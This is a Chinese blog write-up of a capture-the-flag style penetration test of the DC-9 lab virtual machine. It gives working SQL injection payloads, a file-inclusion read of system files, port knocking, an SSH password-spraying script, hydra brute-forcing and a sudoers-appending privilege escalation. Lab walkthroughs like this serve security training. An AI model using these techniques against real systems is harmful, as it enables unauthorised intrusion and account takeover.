DC-9靶机渗透测试

大学实训要打的,记录一下。

环境搭建

网上下载DC-9靶机的ova镜像后用VMware打开导入虚拟机

端口扫描

nmap -sV -A 192.168.6.132

结果如下

Nmap scan report for 192.168.6.132
Host is up (0.00056s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE    SERVICE VERSION
22/tcp filtered ssh
80/tcp open     http    Apache httpd 2.4.38 ((Debian))
|_http-title: Example.com - Staff Details - Welcome
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 00:0C:29:85:ED:06 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.56 ms 192.168.6.132

开放了80和22端口

漏洞测试&提权

从80端口开始

image

网站点进去一个个页面看,最后在search页面发现可能有sql注入。
search=1或者2返回空。
但是用万能密码返回了全部

image

把那个数据包复制下来sqlmap跑一下返回有6列

python sqlmap.py -r post_request.txt

image

自己验证一下,确实是6列
search=1' union select 1,2,3,4,5,6--+

image

python sqlmap.py -r post_request.txt --current-db --tables --batch

image

这是sqlmap的payload:

Parameter: search (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: search=1'||'1'='1' AND 4693=4693 AND 'tYwv'='tYwv

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: search=1'||'1'='1' AND (SELECT 7698 FROM (SELECT(SLEEP(5)))KUYd) AND 'kvpr'='kvpr

    Type: UNION query
    Title: Generic UNION query (NULL) - 6 columns
    Payload: search=1'||'1'='1' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7176717671,0x447567446a486f7245594f79794b4261574765654b6e4d4e51427470564f59755348746c75516163,0x717a627071),NULL,NULL-- -

现在手工注入拿用户细节表的数据
先看列有哪些

search=0'||'1'<>'1' UNION ALL SELECT NULL,NULL,NULL,CONCAT(column_name),NULL,NULL FROM information_schema.COLUMNS WHERE table_schema='users' AND table_name='UserDetails'--+

image

拿密码

search=0' UNION ALL SELECT NULL,firstname,lastname,username,NULL,password FROM users.UserDetails--+

image

但是这些密码一个都登录不成功。
把请求数据包放txt中,先拖库保存到文件,可能以后有用。
python sqlmap.py -r request.txt --batch -D users -T UserDetails --dump

这里还有一个Staff.Users表,也查一下看看。

image

查到admin密码
image

image

解密后去manage.php登录
image

welcome.php报错File dose not exist,可能存在文件包含漏洞。

猜测传参是file

image

可以读取文件,之前扫到22端口,读取/etc/ssh/ssh_config看看
image

没啥有用信息,但是扫到22端口是filter状态,说明可能使用了knock服务

参考文章https://www.cnblogs.com/xiaoxiaoleo/p/8523322.html

读取/etc/knockd.conf:
image

用nmap打开端口。虽然文章说nc和telnet都可以打开,但是我试过了却不行,不知道为什么。

for port in 7469 8475 9842; do nmap -Pn --host-timeout 100ms --max-retries 0 -p $port 192.168.6.132; done

执行该命令后再次扫描,看到22端口变成open了。

image

尝试ssh登录。之前保存有users.UserDetails的内容,现在拿来用,因为之前读取的/etc/passwd中出现的用户名和UserDetails表的用户名刚好有重合。

image

手工尝试了好几个都登录失败,我就不信所有都登录失败,于是写脚本

#!/bin/bash

if [ $# -ne 1 ]; then
    echo "用法: $0 <用户密码CSV文件>"
    exit 1
fi

CSV_FILE="$1"
TARGET_IP="192.168.6.132"  # 目标服务器IP(直接硬编码避免重复修改)
PORT=22
TIMEOUT=10
KNOWN_HOSTS=$(mktemp)

# 检查依赖和文件
if [ ! -f "$CSV_FILE" ]; then echo "文件不存在: $CSV_FILE"; exit 1; fi
if ! command -v sshpass &> /dev/null; then echo "请安装sshpass"; exit 1; fi

# 关键修复:使用while循环+文件描述符读取CSV,避免ssh读取剩余行
while IFS=',' read -r id lastname password reg_date username firstname; do
    [ -z "$username" ] || [ -z "$password" ] && continue  # 跳过空行或无效行

    echo -e "\n----------------------------------------"
    echo "尝试登录: $username@$TARGET_IP"
    echo "----------------------------------------"

    # 使用 -t 强制分配伪终端,避免"Pseudo-terminal will not be allocated"警告
    # 关键:将ssh的标准输入重定向到/dev/null,防止读取CSV文件剩余内容
    sshpass -p "$password" ssh \
        -t \
        -o StrictHostKeyChecking=no \
        -o UserKnownHostsFile="$KNOWN_HOSTS" \
        -o ConnectTimeout="$TIMEOUT" \
        -p "$PORT" \
        "$username@$TARGET_IP" \
        </dev/null  # 禁止ssh读取标准输入(仅影响当前ssh命令)

    if [ $? -eq 0 ]; then
        echo -e "\n✅ 成功登录: $username"
        rm -f "$KNOWN_HOSTS"
        exit 0
    else
        echo "❌ 登录失败: $username (密码: $password)"
    fi
done < <(tail -n +2 "$CSV_FILE")  # 使用进程替换而非管道,避免子shell问题

rm -f "$KNOWN_HOSTS"
echo -e "\n❌ 所有用户尝试完毕,均登录失败"
exit 1

image

把之前sqlmap保存的csv上传到kali去跑,登录成功一个
image

查看看sudo权限,发现不能用。

image

但是刚刚脚本登录到chandlerb就终止了,其后的用户未尝试,先尝试一下,修改csv文件为:

id,lastname,password,reg_date,username,firstname
10,Tribbiani,Passw0rd,2019-12-29 16:58:26,joeyt,Joey
11,Green,yN72#dsd,2019-12-29 16:58:26,rachelg,Rachel
12,Geller,ILoveRachel,2019-12-29 16:58:26,rossg,Ross
13,Geller,3248dsds7s,2019-12-29 16:58:26,monicag,Monica
14,Buffay,smellycats,2019-12-29 16:58:26,phoebeb,Phoebe
15,McScoots,YR3BVxxxw87,2019-12-29 16:58:26,scoots,Scooter
16,Trump,Ilovepeepee,2019-12-29 16:58:26,janitor,Donald
17,Morrison,Hawaii-Five-0,2019-12-29 16:58:28,janitor2,Scott
1,Moe,3kfs86sfd,2019-12-29 16:58:26,marym,Mary
2,Dooley,468sfdfsd2,2019-12-29 16:58:26,julied,Julie
3,Flintstone,4sfd87sfd1,2019-12-29 16:58:26,fredf,Fred
4,Rubble,RocksOff,2019-12-29 16:58:26,barneyr,Barney
5,Cat,TC&TheBoyz,2019-12-29 16:58:26,tomc,Tom
6,Mouse,B8m#48sd,2019-12-29 16:58:26,jerrym,Jerry
7,Flintstone,Pebbles,2019-12-29 16:58:26,wilmaf,Wilma
8,Rubble,BamBam01,2019-12-29 16:58:26,bettyr,Betty
9,Bing,UrAG0D!,2019-12-29 16:58:26,chandlerb,Chandler

果然又有用户可以登录。
image

后来继续修改csv文件,发现janitor也能登录,一共就这3个可以登录了

chandlerb:UrAG0D!
joeyt:Passw0rd
janitor:Ilovepeepee

登录janitor看之前扫出来的config.php,得到数据库密码。
image

该用户主目录下有隐藏目录,啥putin的秘密?🤓

image
image

发现一堆密码,之前很多用户都没登录成功,这次用新发现的密码爆破一下看看会不会有结果
image

image

把用户名,数据库中的密码和刚刚发现的密码放入字典中,用hydra爆破

image

得到新的用户名密码

[22][ssh] host: 192.168.6.132   login: fredf   password: B4-Tru3-001

登录查看sudo权限,发现用户fredf可以通过sudo以root权限无需密码执行/opt/devstuff/dist/test/test程序

image
image

执行一下看看:
image

发现报错,这文件可能是python程序。但cat读取出来是一堆乱码,说明它是二进制程序。
查看主目录发现主目录没有更多信息。根据程序位置是/opt/devstuff/dist/test/test,于是去/opt目录,得到如下发现

image

#!/usr/bin/python

import sys

if len (sys.argv) != 3 :
    print ("Usage: python test.py read append")
    sys.exit (1)

else :
    f = open(sys.argv[1], "r")
    output = (f.read())

    f = open(sys.argv[2], "a")
    f.write(output)
    f.close()

这是一个Python脚本,功能是将文件A的内容追加到文件B

# -*- mode: python ; coding: utf-8 -*-

block_cipher = None


a = Analysis(['test.py'],
             pathex=['/opt/devstuff'],
             binaries=[],
             datas=[],
             hiddenimports=[],
             hookspath=[],
             runtime_hooks=[],
             excludes=[],
             win_no_prefer_redirects=False,
             win_private_assemblies=False,
             cipher=block_cipher,
             noarchive=False)
pyz = PYZ(a.pure, a.zipped_data,
             cipher=block_cipher)
exe = EXE(pyz,
          a.scripts,
          [],
          exclude_binaries=True,
          name='test',
          debug=False,
          bootloader_ignore_signals=False,
          strip=False,
          upx=True,
          console=True )
coll = COLLECT(exe,
               a.binaries,
               a.zipfiles,
               a.datas,
               strip=False,
               upx=True,
               upx_exclude=[],
               name='test')

这是PyInstaller的配置文件,说明test程序是由test.py编译生成的,功能一致。
本来是想创建root权限用户并切换去提权,但是su命令一直认证失败,输入正确密码也是失败。

image

方法 2:修改 /etc/sudoers(免密码sudo)

echo 'fredf ALL=(ALL) NOPASSWD:ALL' > /tmp/sudoers_patch # 构造sudoers规则(允许当前用户无密码sudo)
sudo /opt/devstuff/dist/test/test /tmp/sudoers_patch /etc/sudoers # 追加到 /etc/sudoers
sudo su # 验证提权

image

提权成功

image

posted @ 2025-07-19 18:27  积分别忘C  阅读(58)  评论(0)    收藏  举报